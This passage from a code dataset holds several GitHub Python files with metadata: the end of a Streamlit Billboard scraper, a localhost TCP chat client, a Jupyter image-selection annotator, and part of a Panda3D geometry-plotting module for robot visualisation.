collect_news(doc2):\r\n    data = []\r\n    news = doc2.find_all('div', class_=\"story\")\r\n    \r\n    for i,item in enumerate(news):\r\n        title = item.find('h3').text.strip()\r\n        try:\r\n            link = item.find('h3').find('a').attrs.get('href')\r\n            # st.write(link)\r\n        except: link='https://www.billboard.com/c/culture/'\r\n        data.append({\r\n            'title':f'{i}. {title}', \r\n            'link': link\r\n        })\r\n    # st.write(data)\r\n    return data\r\n\r\n\r\nst.image('https://upload.wikimedia.org/wikipedia/commons/2/2b/Billboard_Hot_100_logo.jpg')\r\nst.title(\"Billboard Scraper\")\r\nst.sidebar.image(\"https://i.scdn.co/image/ab67616d0000b273c08202c50371e234d20caf62\")\r\nbtn = st.sidebar.button(\"collect songs\")\r\nbtn2 = st.sidebar.button(\"collect news\")\r\nif btn:\r\n    st.info(\"Top Indian Songs on Billboard\")\r\n    doc = get_charts_page()\r\n    out = collect_data(doc)\r\n    for s in out:\r\n        st.markdown(f'''\r\n        🎵{s.get('title')} \r\n        ''', unsafe_allow_html=True)\r\nif btn2:\r\n    st.info(\"Latest news from billboard\")\r\n    doc2 = get_news_page()\r\n    out = collect_news(doc2)\r\n    for s in out:\r\n        st.markdown(f'''\r\n        ##### 📰- {s.get('title')} \r\n        <a href=\"{s.get('link')}\" target=\"blank\">Read</a>\r\n        ''', unsafe_allow_html=True)\r\n    \r\n\r\n\r\n# streamlit run billboard.py","repo_name":"shivisingh02/pythonprograms","sub_path":"mini_project/billboard.py","file_name":"billboard.py","file_ext":"py","file_size_in_byte":2259,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"18280302662","text":"#导入模块\nimport socket\n\n#创建实例\nclient = socket.socket()\n#访问的服务器端ip和port\nip_port = (\"127.0.0.1\",8888)\n#连接主机\nclient.connect(ip_port)\n\n#定义一个循环不断发送消息\n\nwhile True:\n    print(\"等待服务器发送信号...\")\n    # 接受主机信息\n    data = client.recv(1024)\n    # 打印接收的数据\n    # 此处的byte型数据代指python3.x以上\n    print(\"接收服务器发送的信息：{}\".format(data.decode()))\n    #输入发送的消息\n    msg_input = input(\"请输入发送的消息：\")\n    #消息发送\n    client.send(msg_input.encode())\n    print(msg_input)\n    if msg_input == 'exit':\n        break\n    # data = client.recv(1024)\n    # print(22,data.decode())\n\n\n\n\n","repo_name":"lijuncheng1993/Tcp_Udp","sub_path":"socket_client_TCP_1.py","file_name":"socket_client_TCP_1.py","file_ext":"py","file_size_in_byte":728,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"43570208540","text":"import os\nfrom typing import Dict, List, Optional\n\nimport IPython.display\nfrom ipywidgets import widgets\n\nfrom ipyezannotation.annotators.base_annotator import BaseAnnotator\nfrom ipyezannotation.widgets.image_select_gallery import ImageSelectGallery\n\n\nclass ImageSelectAnnotator(BaseAnnotator):\n    def __init__(self, n_rows: int = None, n_columns: int = None):\n        self._n_rows = n_rows\n        self._n_columns = n_columns\n        self._gallery_widget: Optional[ImageSelectGallery] = None\n        super().__init__(display_function=self._display)\n\n    def get_data(self) -> Optional[Dict]:\n        if self._gallery_widget:\n            return {\"selected\": self._gallery_widget.selected}\n\n    def set_data(self, data: Optional[Dict]) -> None:\n        if not self._gallery_widget:\n            # No data can be set while gallery widget is not created.\n            return\n\n        if data is None:\n            data = {\"selected\": [False] * len(self._gallery_widget.selected)}\n\n        for index, value in enumerate(data[\"selected\"]):\n            self._gallery_widget.select(index, value, skip_callback=False)\n\n    def _display(self, image_paths: List[str]) -> None:\n        self._gallery_widget = self._create_gallery(image_paths)\n        gallery_controls = self._create_gallery_controls(self._gallery_widget)\n        gallery_with_controls = widgets.VBox([gallery_controls, widgets.HTML(\"<hr/>\"), self._gallery_widget])\n        IPython.display.display(gallery_with_controls)\n\n    def _create_gallery(self, image_paths: List[str]) -> ImageSelectGallery:\n        gallery_items = []\n        for image_path in image_paths:\n            image_encoding = os.path.splitext(image_path)[1].lstrip(os.path.extsep)\n            with open(image_path, \"rb\") as file:\n                gallery_items.append(\n                    ImageSelectGallery.Item(\n                        selected=False,\n                        image=file.read(),\n                        format=image_encoding\n                    )\n                )\n\n        return ImageSelectGallery(gallery_items, n_rows=self._n_rows, n_columns=self._n_columns)\n\n    @staticmethod\n    def _create_gallery_controls(gallery: ImageSelectGallery) -> widgets.HBox:\n        \"\"\"Create top level controls for gallery widget.\n        \"\"\"\n        select_all_button = widgets.Button(description=\"All\", layout=widgets.Layout(width=\"4em\"))\n        select_all_button.on_click(lambda _: gallery.selectall())\n\n        select_none_button = widgets.Button(description=\"None\", layout=widgets.Layout(width=\"4em\"))\n        select_none_button.on_click(lambda _: gallery.unselectall())\n\n        return widgets.HBox([select_all_button, select_none_button])\n","repo_name":"gMatas/ipyezannotation","sub_path":"src/ipyezannotation/annotators/image_select_annotator.py","file_name":"image_select_annotator.py","file_ext":"py","file_size_in_byte":2672,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"20931644750","text":"import numpy as np\nimport os\nfrom panda3d.core import *\nfrom utils import robotmath as rm\nfrom shapely.geometry import Polygon\nfrom trimesh import geometry as trigeom\nimport math\nimport trimesh\n\nclass PandaGeomGen(object):\n    \"\"\"\n    use class to preload files\n    and generate various models\n    \"\"\"\n\n    def __init__(self):\n        \"\"\"\n        prepload the files\n        the models will be instanceTo nodepaths to avoid frequent disk access\n        \"\"\"\n\n        this_dir, this_filename = os.path.split(__file__)\n        cylinderpath = Filename.fromOsSpecific(os.path.join(this_dir, \"geomprim\", \"cylinder.egg\"))\n        spherepath = Filename.fromOsSpecific(os.path.join(this_dir, \"geomprim\", \"sphere.egg\"))\n        conepath = Filename.fromOsSpecific(os.path.join(this_dir, \"geomprim\", \"cone.egg\"))\n        boxpath = Filename.fromOsSpecific(os.path.join(this_dir, \"geomprim\", \"box.egg\"))\n        self.cylinder = loader.loadModel(cylinderpath)\n        self.sphere = loader.loadModel(spherepath)\n        self.cone = loader.loadModel(conepath)\n        self.box  = loader.loadModel(boxpath)\n\n    def genDumbbell(self, spos = None, epos = None, length = None, thickness = 1.5,\n                    rgba = None, plotname = \"dumbbell\", headscale = 2):\n        \"\"\"\n        generate a dumbbell to plot the stick model of a robot\n        the function is essentially a copy of pandaplotutils/pandageom.plotDumbbell\n        it uses preloaded models to avoid repeated disk access\n\n        :param spos: 1-by-3 nparray or list, starting position of the arrow\n        :param epos: 1-by-3 nparray or list, goal position of the arrow\n        :param length: if length is None, its value will be computed using np.linalg.norm(epos-spos)\n        :param thickness:\n        :param rgba: 1-by-4 nparray or list\n        :param plotname:\n        :param headscale: a ratio between headbell and stick\n        :return: a dumbbell nodepath\n\n        author: weiwei\n        date: 20170613\n        \"\"\"\n\n        if spos is None:\n            spos = np.array([0,0,0])\n        if epos is None:\n            epos = np.array([0,0,1])\n        if length is None:\n            length = np.linalg.norm(epos-spos)\n        if rgba is None:\n            rgba = np.array([1,1,1,1])\n\n        dumbbell = NodePath(plotname)\n        dumbbellbody_nodepath = NodePath(\"dumbbellbody\")\n        dumbbellhead0_nodepath = NodePath(\"dumbbellhead0\")\n        dumbbellhead1_nodepath = NodePath(\"dumbbellhead1\")\n        self.cylinder.instanceTo(dumbbellbody_nodepath)\n        self.sphere.instanceTo(dumbbellhead0_nodepath)\n        self.sphere.instanceTo(dumbbellhead1_nodepath)\n        dumbbellbody_nodepath.setPos(0,0,0)\n        dumbbellbody_nodepath.setScale(thickness, length, thickness)\n        dumbbellhead0_nodepath.setPos(dumbbellbody_nodepath.getX(),\n                                      length, dumbbellbody_nodepath.getZ())\n        dumbbellhead0_nodepath.setScale(thickness*headscale, thickness*headscale, thickness*headscale)\n        dumbbellhead1_nodepath.setPos(dumbbellbody_nodepath.getX(),\n                                      dumbbellbody_nodepath.getY(),\n                                      dumbbellbody_nodepath.getZ())\n        dumbbellhead1_nodepath.setScale(thickness*headscale, thickness*headscale, thickness*headscale)\n        dumbbellbody_nodepath.reparentTo(dumbbell)\n        dumbbellhead0_nodepath.reparentTo(dumbbell)\n        dumbbellhead1_nodepath.reparentTo(dumbbell)\n\n        dumbbell.setPos(spos[0], spos[1], spos[2])\n        dumbbell.lookAt(epos[0], epos[1], epos[2])\n        dumbbell.setColor(rgba[0], rgba[1], rgba[2], rgba[3])\n\n        return dumbbell\n\n    def genBox(self, x = 1.0, y = 1.0, z = 1.0, plotname = \"box\"):\n        \"\"\"\n        Generate a box for plot\n        This function should not be called explicitly\n\n        ## input\n        x,y,z:\n            the thickness of the box along x, y, and z axis\n\n        ## output\n        box: pathnode\n\n        author: weiwei\n        date: 20160620 ann arbor\n        \"\"\"\n\n        x = x/2.0\n        y = y/2.0\n        z = z/2.0\n\n        verts = [np.array([-x,-y,-z]),\n                 np.array([+x,-y,-z]),\n                 np.array([-x,+y,-z]),\n                 np.array([+x,+y,-z]),\n                 np.array([-x,-y,+z]),\n                 np.array([+x,-y,+z]),\n                 np.array([-x,+y,+z]),\n                 np.array([+x,+y,+z])]\n\n        faces = [np.array([0,4,2]),\n                 np.array([6,2,4]),\n                 np.array([2,3,0]),\n                 np.array([1,0,3]),\n                 np.array([2,6,3]),\n                 np.array([7,3,6]),\n                 np.array([7,5,3]),\n                 np.array([1,3,5]),\n                 np.array([0,1,4]),\n                 np.array([5,4,1]),\n                 np.array([6,4,7]),\n                 np.array([5,7,4])]\n\n        normals = []\n        for face in faces:\n            vert0 = verts[face[0]]\n            vert1 = verts[face[1]]\n            vert2 = verts[face[2]]\n            vec10 = vert1-vert0\n            vec20 = vert2-vert0\n            rawnormal = np.cross(vec10, vec20)\n            normals.append(rawnormal/np.linalg.norm(rawnormal))\n\n        cobnp = packpandanp_fn(np.asarray(verts), np.asarray(normals), np.asarray(faces), name = plotname)\n        return cobnp\n\n    def genArrow(self, length, thickness = 1.5, plotname = \"arrow\"):\n        \"\"\"\n        Generate a arrow node for plot\n        This function should not be called explicitly\n\n        ## input\n        length:\n            length of the arrow\n        thickness:\n            thickness of the arrow, set to 0.005 as default\n\n        ## output\n\n        \"\"\"\n\n        arrow = NodePath(plotname)\n        arrowbody = NodePath(plotname+\"body\")\n        arrowhead = NodePath(plotname+\"head\")\n        self.cylinder.instanceTo(arrowbody)\n        self.cone.instanceTo(arrowhead)\n        arrowbody.setPos(0,0,0)\n        arrowbody.setScale(thickness, length, thickness)\n        arrowbody.reparentTo(arrow)\n        arrowhead.setPos(arrow.getX(), length, arrow.getZ())\n        # set scale (consider relativitly)\n        arrowhead.setScale(thickness*2, thickness*4, thickness*2)\n        arrowhead.reparentTo(arrow)\n\n        return arrow\n\n    def genStick(self, length, thickness = 2, plotname=\"stick\"):\n        \"\"\"\n        Generate a stick node for plot\n        This function should not be called explicitly\n\n        ## input\n        length:\n            length of the stick\n        thickness:\n            thickness of the stick, set to 0.005 as default\n\n        ## output\n\n        \"\"\"\n\n        stick = NodePath(plotname)\n        stickbody = NodePath(plotname+\"body\")\n        self.cylinder.instanceTo(stickbody)\n        stickbody.setPos(0,0,0)\n        stickbody.setScale(thickness, length, thickness)\n        stickbody.reparentTo(stick)\n\n        return stick\n\n    def genSphere(self, radius = None, plotname = \"sphere\"):\n        \"\"\"\n        Generate a sphere for plot\n        This function should not be called explicitly\n\n        ## input\n        radius:\n            the radius of the sphere\n\n        ## output\n        sphere: pathnode\n\n        author: weiwei\n        date: 20160620 ann arbor\n        \"\"\"\n\n        if radius is None:\n            radius = 0.05\n\n        spherenp = NodePath(plotname)\n        spherenpbody = NodePath(plotname+\"body\")\n        self.sphere.instanceTo(spherenpbody)\n        spherenpbody.setPos(0,0,0)\n        spherenpbody.setScale(radius, radius, radius)\n        spherenpbody.reparentTo(spherenp)\n\n        return spherenp\n\n    def plotArrow(self, nodepath, spos = None, epos = None, length = None, thickness = 1.5, rgba=None):\n        \"\"\"\n        plot an arrow to nodepath\n\n        ## input:\n        pandabase:\n            the panda direct.showbase.ShowBase object\n            will be sent to _genArrow\n        nodepath:\n            defines which parent should the arrow be attached to\n        spos:\n            1-by-3 nparray or list, starting position of the arrow\n        epos:\n            1-by-3 nparray or list, goal position of the arrow\n        length:\n            will be sent to _genArrow, if length is None, its value will be computed using np.linalg.norm(epos-spos)\n        thickness:\n            will be sent to _genArrow\n        rgba:\n            1-by-3 nparray or list\n\n        author: weiwei\n        date: 20160616\n        \"\"\"\n\n        if spos is None:\n            spos = np.array([0,0,0])\n        if epos is None:\n            epos = np.array([0,0,1])\n        if length is None:\n            length = np.linalg.norm(epos-spos)\n        if rgba is None:\n            rgba = np.array([1,1,1,1])\n\n        arrow = self.genArrow(length, thickness)\n        arrow.setPos(spos[0], spos[1], spos[2])\n        arrow.lookAt(epos[0], epos[1], epos[2])\n        # lookAt points y+ to epos, use the following command to point x+ to epos\n        # http://stackoverflow.com/questions/15126492/panda3d-how-to-rotate-object-so-that-its-x-axis-points-to-a-location-in-space\n        # arrow.setHpr(arrow, Vec3(0,0,90))\n        arrow.setColor(rgba[0], rgba[1], rgba[2], rgba[3])\n        arrow.reparentTo(nodepath)\n\n        return arrow\n\n    def plotDumbbell(self, nodepath, spos=None, epos=None, length=None, thickness=1.5, rgba=None, plotname=\"dumbbell\",\n                     headscale=2):\n        \"\"\"\n        plot a dumbbell to nodepath\n\n        ## input:\n        nodepath:\n            defines which parent should the arrow be attached to\n        spos:\n            1-by-3 nparray or list, starting position of the arrow\n        epos:\n            1-by-3 nparray or list, goal position of the arrow\n        length:\n            will be sent to _genArrow, if length is None, its value will be computed using np.linalg.norm(epos-spos)\n        thickness:\n            will be sent to _genArrow\n        rgba:\n            1-by-4 nparray or list\n\n        author: weiwei\n        date: 20160616\n        \"\"\"\n\n        if spos is None:\n            spos = np.array([0, 0, 0])\n        if epos is None:\n            epos = np.array([0, 0, 1])\n        if length is None:\n            length = np.linalg.norm(epos - spos)\n        if rgba is None:\n            rgba = np.array([1, 1, 1, 1])\n\n        dumbbell = self.genDumbbell(length=length, thickness=thickness, plotname=plotname, headscale=headscale)\n        dumbbell.setPos(spos[0], spos[1], spos[2])\n        dumbbell.lookAt(epos[0], epos[1], epos[2])\n        # lookAt points y+ to epos, use the following command to point x+ to epos\n        # http://stackoverflow.com/questions/15126492/panda3d-how-to-rotate-object-so-that-its-x-axis-points-to-a-location-in-space\n        # arrow.setHpr(arrow, Vec3(0,0,90))\n        dumbbell.setColor(rgba[0], rgba[1], rgba[2], rgba[3])\n        dumbbell.reparentTo(nodepath)\n\n        return dumbbell\n\n    def plotBox(self, nodepath, pos = None, x = 1.0, y = 1.0, z = 1.0, rgba=None):\n        \"\"\"\n        plot a box to nodepath\n\n        ## input:\n        nodepath:\n            defines which parent should the arrow be attached to\n        pos:\n            1-by-3 nparray or list, position of the sphere\n        x,y,z:\n            will be sent to _genBox\n        rgba:\n            1-by-3 nparray or list\n\n        author: weiwei\n        date: 20160620 ann arbor\n        \"\"\"\n\n        if pos is None:\n            pos = np.array([0,0,0])\n        if rgba is None:\n            rgba = np.array([1,1,1,1])\n\n        boxnp = self.genBox(x, y, z)\n        boxnp.setPos(pos[0], pos[1], pos[2])\n        boxnp.setColor(rgba[0], rgba[1], rgba[2], rgba[3])\n        boxnp.setTransparency(TransparencyAttrib.MAlpha)\n\n        boxnp.reparentTo(nodepath)\n\n    def plotLinesegs(self, nodepath, verts, thickness = 1.5, rgba=None, plotname=\"linesegs\", headscale = 1):\n        \"\"\"\n        plot a dumbbell to nodepath\n\n        ## input:\n        nodepath:\n            defines which parent should the arrow be attached to\n        verts:\n            1-by-3 nparray or list, verts on the lineseg\n        thickness:\n            will be sent to _genArrow\n        rgba:\n            1-by-4 nparray or list\n\n        author: weiwei\n        date: 20160616\n        \"\"\"\n\n        if rgba is None:\n            rgba = np.array([1,1,1,1])\n\n        linesegs = NodePath(plotname)\n        for i in range(len(verts)-1):\n            diff0 = verts[i][0]-verts[i+1][0]\n            diff1 = verts[i][1]-verts[i+1][1]\n            diff2 = verts[i][2]-verts[i+1][2]\n            length = math.sqrt(diff0*diff0+diff1*diff1+diff2*diff2)\n            dumbbell = self.genDumbbell(length=length, thickness=thickness, plotname=plotname, headscale=headscale)\n            dumbbell.setPos(verts[i][0], verts[i][1], verts[i][2])\n            dumbbell.lookAt(verts[i+1][0], verts[i+1][1], verts[i+1][2])\n            dumbbell.setColor(rgba[0], rgba[1], rgba[2], rgba[3])\n            dumbbell.setTransparency(TransparencyAttrib.MAlpha)\n        # lookAt points y+ to epos, use the following command to point x+ to epos\n        # http://stackoverflow.com/questions/15126492/panda3d-how-to-rotate-object-so-that-its-x-axis-points-to-a-location-in-space\n        # arrow.setHpr(arrow, Vec3(0,0,90))\n            dumbbell.reparentTo(linesegs)\n        linesegs.reparentTo(nodepath)\n        return linesegs\n\n    def plotSphere(self, nodepath, pos=None, radius=None, rgba=None, plotname=\"sphere\"):\n        \"\"\"\n        plot a sphere to nodepath\n\n        ## input:\n        nodepath:\n            defines which parent should the arrow be attached to\n        pos:\n            1-by-3 nparray or list, position of the sphere\n        radius:\n            will be sent to _genSphere\n        rgba:\n            1-by-3 nparray or list\n\n        author: weiwei\n        date: 20160620 ann arbor\n        \"\"\"\n\n        if pos is None:\n            pos = np.array([0, 0, 0])\n        if rgba is None:\n            rgba = np.array([1, 1, 1, 1])\n        if radius is None:\n            radius = 1\n\n        spherend = self.genSphere(radius, plotname)\n        spherend.setPos(pos[0], pos[1], pos[2])\n        spherend.setColor(rgba[0], rgba[1], rgba[2], rgba[3])\n        spherend.setTransparency(TransparencyAttrib.MAlpha)\n\n        spherend.reparentTo(nodepath)\n\n        return spherend\n\n    def plotStick(self, nodepath, spos = None, epos = None, length = None, thickness = 1.5, rgba=None, plotname=\"dumbbell\"):\n        \"\"\"\n        plot a stick to nodepath\n\n        ## input:\n        nodepath:\n            defines which parent should the arrow be attached to\n        spos:\n            1-by-3 nparray or list, starting position of the arrow\n        epos:\n            1-by-3 nparray or list, goal position of the arrow\n        length:\n            will be sent to _genArrow, if length is None, its value will be computed using np.linalg.norm(epos-spos)\n        thickness:\n            will be sent to _genArrow\n        rgba:\n            1-by-4 nparray or list\n\n        author: weiwei\n        date: 20160616\n        \"\"\"\n\n        if spos is None:\n            spos = np.array([0,0,0])\n        if epos is None:\n            epos = np.array([0,0,1])\n        if length is None:\n            length = np.linalg.norm(epos-spos)\n        if rgba is None:\n            rgba = np.array([1,1,1,1])\n\n        stick = self.genStick(length, thickness, plotname)\n        stick.setPos(spos[0], spos[1], spos[2])\n        stick.lookAt(epos[0], epos[1], epos[2])\n        # lookAt points y+ to epos, use the following command to point x+ to epos\n        # http://stackoverflow.com/questions/15126492/panda3d-how-to-rotate-object-so-that-its-x-axis-points-to-a-location-in-space\n        # arrow.setHpr(arrow, Vec3(0,0,90))\n        stick.setColor(rgba[0], rgba[1], rgba[2], rgba[3])\n        stick.setTransparency(TransparencyAttrib.MAlpha)\n        stick.reparentTo(nodepath)\n        return stick\n\n    def plotAxis(self, nodepath, spos=Vec3(0,0,0), pandamat4=Mat4.identMat(), length=300, thickness = 10):\n        \"\"\"\n        plot an axis to the scene, using self-defined arrows\n        note: pos is in the coordiante sys of nodepath\n\n        :param pandamat4: a panda3d LMatrix4f matrix\n        :return: null\n\n        author: weiwei\n        date: 20161212, tsukuba\n        \"\"\"\n\n        self.plotArrow(nodepath, spos, spos+pandamat4.getRow3(0), length=length, thickness=thickness, rgba=[1,0,0,1])\n        self.plotArrow(nodepath, spos, spos+pandamat4.getRow3(1), length=length, thickness=thickness, rgba=[0,1,0,1])\n        self.plotArrow(nodepath, spos, spos+pandamat4.getRow3(2), length=length, thickness=thickness, rgba=[0,0,1,1])\n\n    def plotCircArrow(self, nodepath, axis = None, torqueportion = 0.0, center = None, radius = 5.0,\n                      thickness = 1.5, rgba = None, discretization = 24, plotname=\"circarrow\"):\n        \"\"\"\n        Draw a circule arrow\n        Especially used for visualization of torque\n        the arraw starts from (axis cross [1,0,0])*radius+center\n        if axis cross [1,0,0] equals [0,0,0], the arrow starts from (axis cross [0,1,0])*radius+center\n        the portion of the circ arrow indicates the magnitude of t, maxt is set to torque/25.0\n        if torque/25.0 is larger than 1.0, set it to 1.0\n\n        :param nodepath:\n        :param torque portion: measured torque over maximum value 0.0~1.0\n        :param center: center of the circle\n        :param radius: radius of the circle\n        :param rgba: color of the arrow\n        :param discretization: number sticks used\n        :return:\n\n        author: weiwei\n        date: 20180227\n        \"\"\"\n\n        if axis is None:\n            axis = np.array([0.0,0.0,1.0])\n        if center is None:\n            center = np.array([0.0,0.0,0.0])\n        if rgba is None:\n            rgba = np.array([1.0,1.0,1.0,1.0])\n\n        xaxis = np.array([1.0,0.0,0.0])\n        yaxis = np.array([0.0,1.0,0.0])\n\n        startingaxis = np.cross(axis, xaxis)\n        if np.lingalg.norm(startingaxis) < .1:\n            startingaxis = np.cross(axis, yaxis)\n        startingaxis = startingaxis/np.linalg.norm(startingaxis)\n        startingpos = startingaxis*radius+center\n\n        cirarrnp = NodePath(plotname)\n        discretizedangle = 360.0/discretization\n        ndist = int(torqueportion*discretization)\n        lastpos = startingpos\n        if abs(ndist)>1:\n            for i in range(1*np.sign(ndist), ndist, 1*np.sign(ndist)):\n                nxtpos = center+np.dot(rm.rodrigues(axis, i*discretizedangle), startingaxis.T).T*radius\n                self.plotStick(cirarrnp, spos = lastpos, epos = nxtpos, thickness = thickness, rgba = rgba, plotname = \"circarrseg\")\n                lastpos = nxtpos\n            nxtposend = center+np.dot(rm.rodrigues(axis, ndist*discretizedangle), startingaxis.T).T*radius\n\n            self.plotArrow(cirarrnp, lastpos, nxtposend, length=1.0, thickness=thickness, rgba=rgba)\n\n        cirarrnp.reparentTo(nodepath)\n\n        return cirarrnp\n\n    def plotPortionCircArrow(self, nodepath, axis = None, torqueportion = 0.0, center = None, radius = 5.0,\n                      thickness = 1.5, rgba = None, discretization = 24, plotname=\"circarrow\"):\n        \"\"\"\n        Draw a circule arrow on a solid circle\n        Especially used for visualization of torque\n        the arraw starts from (axis cross [1,0,0])*radius+center\n        if axis cross [1,0,0] equals [0,0,0], the arrow starts from (axis cross [0,1,0])*radius+center\n        the portion of the circ arrow indicates the magnitude of t, maxt is set to torque/25.0\n        if torque/25.0 is larger than 1.0, set it to 1.0\n\n        :param nodepath:\n        :param torque portion: measured torque over maximum value 0.0~1.0\n        :param center: center of the circle\n        :param radius: radius of the circle\n        :param rgba: color of the arrow\n        :param discretization: number sticks used\n        :return:\n\n        author: weiwei\n        date: 20180227\n        \"\"\"\n\n        if axis is None:\n            axis = np.array([0.0,0.0,1.0])\n        if center is None:\n            center = np.array([0.0,0.0,0.0])\n        else:\n            center = np.array([center[0], center[1], center[2]])\n        if rgba is None:\n            rgba = np.array([1.0,1.0,1.0,1.0])\n\n        xaxis = np.array([1.0,0.0,0.0])\n        yaxis = np.array([0.0,1.0,0.0])\n\n        startingaxis = np.cross(axis, xaxis)\n        if np.linalg.norm(startingaxis) < .1:\n            startingaxis = np.cross(axis, yaxis)\n        startingaxis = startingaxis/np.linalg.norm(startingaxis)\n        startingpos = startingaxis*radius+center\n\n        cirarrnp = NodePath(plotname)\n        discretizedangle = 360.0/discretization\n        ndist = int(torqueportion*discretization)\n        lastpos = startingpos\n        if abs(ndist)>1:\n            for i in range(1*np.sign(ndist), ndist, 1*np.sign(ndist)):\n                nxtpos = center+np.dot(rm.rodrigues(axis, i*discretizedangle), startingaxis.T).T*radius\n                self.plotStick(cirarrnp, spos = lastpos, epos = nxtpos, thickness = thickness, rgba = rgba, plotname = \"circarrseg\")\n                lastpos = nxtpos\n            nxtposend = center+np.dot(rm.rodrigues(axis, ndist*discretizedangle), startingaxis.T).T*radius\n\n            self.plotArrow(cirarrnp, lastpos, nxtposend, length=1.0, thickness=thickness, rgba=rgba)\n\n        cirarrnpbg = NodePath(plotname+\"bg\")\n        discretizedangle = 360.0/discretization\n        lastpos = startingpos\n        for i in range(1, discretization+1):\n            nxtpos = center+np.dot(rm.rodrigues(axis, i*discretizedangle), startingaxis.T).T*radius\n            bgrgba = np.array([rgba[0], rgba[1], rgba[2], .1])\n            self.plotStick(cirarrnp, spos = lastpos, epos = nxtpos, thickness = thickness*.9, rgba = bgrgba, plotname = \"circarrseg\")\n            lastpos = nxtpos\n        cirarrnpbg.reparentTo(cirarrnp)\n\n        cirarrnp.reparentTo(nodepath)\n\n        return cirarrnp\n\n    def plotText(self, content = \"None\", rgba = np.array([1,0,0,1]), scale = 0.05,\n                 pos = np.array([-0.4, 0, -0.4]), plotname=\"text\"):\n        text = TextNode(plotname)\n        text.setText(content)\n        text.setTextColor(rgba[0], rgba[1], rgba[2], rgba[3])\n        arial = loader.loadFont('cmr12.egg')\n        text.setFont(arial)\n        textNodePath = aspect2d.attachNewNode(text)\n        textNodePath.setScale(scale)\n        textNodePath.setPos(pos[0], pos[1], pos[2])\n\n        return textNodePath\n\ndef packpandageom_fn(vertices, facenormals, triangles, name=''):\n    \"\"\"\n    package the vertices and triangles into a panda3d geom\n\n    # in 2017, this function was deprecated\n    # but, by only using vertex normals, the shading was smoothed.\n    # sharp edges cannot be seem.\n    # in 2018, I compared the number of vertices loaded by loader.loadModelf and\n    # the one loaded by this function and packpandageom_vn\n    # the code is as follows\n            with open('loader.txt', 'wb') as fp:\n            ur3base_filepath = Filename.fromOsSpecific(os.path.join(this_dir, \"ur3egg\", \"base.egg\"))\n            ur3base_model2  = loader.loadModel(ur3base_filepath)\n            geomNodeCollection = ur3base_model2.findAllMatches('**/+GeomNode')\n            for nodePath in geomNodeCollection:\n                geomNode = nodePath.node()\n                for i in range(geomNode.getNumGeoms()):\n                    geom = geomNode.getGeom(i)\n                    vdata = geom.getVertexData()\n                    vertex = GeomVertexReader(vdata, 'vertex')\n                    normal = GeomVertexReader(vdata, 'normal')\n                    while not vertex.isAtEnd():\n                        v = vertex.getData3f()\n                        t = normal.getData3f()\n                        fp.write(\"v = %s, t = %s\\n\" % (repr(v), repr(t)))\n                    break\n                break\n\n        with open('selfloader.txt', 'wb') as fp2:\n            ur3base_model  = pg.loadstlaspandanp_fn(ur3base_filepath)\n            ur3base_filepath = os.path.join(this_dir, \"ur3stl\", \"base.stl\")\n            geomNodeCollection = ur3base_model.findAllMatches('**/+GeomNode')\n            for nodePath in geomNodeCollection:\n                geomNode = nodePath.node()\n                for i in range(geomNode.getNumGeoms()):\n                    geom = geomNode.getGeom(i)\n                    vdata = geom.getVertexData()\n                    vertex = GeomVertexReader(vdata, 'vertex')\n                    normal = GeomVertexReader(vdata, 'normal')\n                    while not vertex.isAtEnd():\n                        v = vertex.getData3f()\n                        t = normal.getData3f()\n                        fp2.write(\"v = %s, t = %s\\n\" % (repr(v), repr(t)))\n                    break\n                break\n    # the results showed that the loader.loadmodel also repeated the vertices to\n    # let each vertex have multiple normals\n    # and get better rendering effects.\n    # Thus, the function is reused\n    # The negative point is the method costs much memory\n    # I think it could be solved by developing an independent procedure\n    # to analyze normals and faces beforehand\n\n\n    ## input\n    vertices:\n        a n-by-3 nparray, each row is a vertex\n    facenormals:\n        a n-by-3 nparray, each row is the normal of a face\n    triangles:\n        a n-by-3 nparray, each row is three idx to the vertices\n    name:\n        not as important\n\n    ## output\n    geom\n        a Geom model which is ready to be added to a node\n\n    author: weiwei\n    date: 20160613\n    \"\"\"\n\n    # vertformat = GeomVertexFormat.getV3()\n    vertformat = GeomVertexFormat.getV3n3()\n    # vertformat = GeomVertexFormat.getV3n3c4()\n    vertexdata = GeomVertexData(name, vertformat, Geom.UHStatic)\n    # vertexdata.setNumRows(triangles.shape[0]*3)\n    vertwritter = GeomVertexWriter(vertexdata, 'vertex')\n    normalwritter = GeomVertexWriter(vertexdata, 'normal')\n    # colorwritter = GeomVertexWriter(vertexdata, 'color')\n    primitive = GeomTriangles(Geom.UHStatic)\n    for i, fvidx in enumerate(triangles):\n        vert0 = vertices[fvidx[0],:]\n        vert1 = vertices[fvidx[1],:]\n        vert2 = vertices[fvidx[2],:]\n        vertwritter.addData3f(vert0[0], vert0[1], vert0[2])\n        normalwritter.addData3f(facenormals[i,0], facenormals[i,1], facenormals[i,2])\n        vertwritter.addData3f(vert1[0], vert1[1], vert1[2])\n        normalwritter.addData3f(facenormals[i,0], facenormals[i,1], facenormals[i,2])\n        vertwritter.addData3f(vert2[0], vert2[1], vert2[2])\n        normalwritter.addData3f(facenormals[i,0], facenormals[i,1], facenormals[i,2])\n        primitive.addVertices(i*3, i*3+1, i*3+2)\n    geom = Geom(vertexdata)\n    geom.addPrimitive(primitive)\n\n    return geom\n\n\ndef packpandanp_fn(vertices, facenormals, triangles, name=''):\n    \"\"\"\n    package the vertices and triangles into a panda3d geom\n\n    ## input\n    vertices:\n        a n-by-3 nparray, each row is a vertex\n    facenormals:\n        a n-by-3 nparray, each row is the normal of a face\n    triangles:\n        a n-by-3 nparray, each row is three idx to the vertices\n    name:\n        not as important\n\n    ## output\n    pandanode\n        a panda node\n\n    author: weiwei\n    date: 20170221\n    \"\"\"\n\n    objgeom = packpandageom_fn(vertices, facenormals, triangles, name+'geom')\n    geomnodeobj = GeomNode( name+'geomnode')\n    geomnodeobj.addGeom(objgeom)\n    pandanp = NodePath( name+'nodepath')\n    pandanp.attachNewNode(geomnodeobj)\n\n    return pandanp\n\ndef packpandageom_vn(vertices, vertnormals, triangles, name=''):\n    \"\"\"\n    package the vertices and triangles into a panda3d geom\n\n    ## input\n    vertices:\n        a n-by-3 nparray, each row is a vertex\n    vertnormals:\n        a n-by-3 nparray, each row is the normal of a vertex\n    triangles:\n        a n-by-3 nparray, each row is three idx to the vertices\n    name:\n        not as important\n\n    ## output\n    geom\n        a Geom model which is ready to be added to a node\n\n    